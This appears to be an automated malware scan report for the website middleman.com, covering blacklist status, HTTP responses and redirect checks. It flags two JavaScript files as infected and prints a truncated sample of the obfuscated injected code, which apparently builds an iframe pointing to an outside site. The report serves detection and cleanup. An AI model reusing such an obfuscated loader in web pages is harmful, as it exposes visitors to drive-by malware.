Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=middleman.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://middleman.com/
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://middleman.com/ | 200 OK Content-Length: 4542 Content-Type: text/html | clean |
http://middleman.com/contact/email.form.php | 200 OK Content-Length: 2960 Content-Type: text/html | clean |
http://middleman.com/contact/../js/jquery-1.js | 200 OK Content-Length: 105604 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,161,146,175,174,154,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,161,146,175,174,154,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,173,151,160,147,163,161,151,160,155,152,151,62,162,151,170,63,135,116,147,161,175,166,133,165,62,164,154,164,53,77,21 Antivirus reports:
| ||
http://middleman.com/contact/../js/maxlength.js | 200 OK Content-Length: 8357 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,161,146,175,174,154,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,161,146,175,174,154,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,173,151,160,147,163,161,151,160,155,152,151,62,162,151,170,63,135,116,147,161,175,166,133,165,62,164,154,164,53,77,21 Antivirus reports:
| ||
http://middleman.com/index.php | 200 OK Content-Length: 4542 Content-Type: text/html | clean |
http://middleman.com/test404page.js | HTTP/1.1 302 Found Connection: close Date: Sun, 12 Oct 2014 14:50:32 GMT Location: http://middleman.com/index.php Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny13 with Suhosin-Patch Vary: Accept-Encoding Content-Length: 331 Content-Type: text/html; charset=iso-8859-1 | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: middleman.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 12 Oct 2014 14:50:28 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny13 with Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 4542
Content-Type: text/html
X-Powered-By: PHP/5.2.6-1+lenny13
...4542 bytes of data.
GET / HTTP/1.1
Host: middleman.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 12 Oct 2014 14:50:28 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny13 with Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 4542
Content-Type: text/html
X-Powered-By: PHP/5.2.6-1+lenny13
...4542 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: middleman.com
Referer: http://www.google.com/search?q=middleman.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: middleman.com
Referer: http://www.google.com/search?q=middleman.com
Result:
The result is similar to the first query. There are no suspicious redirects found.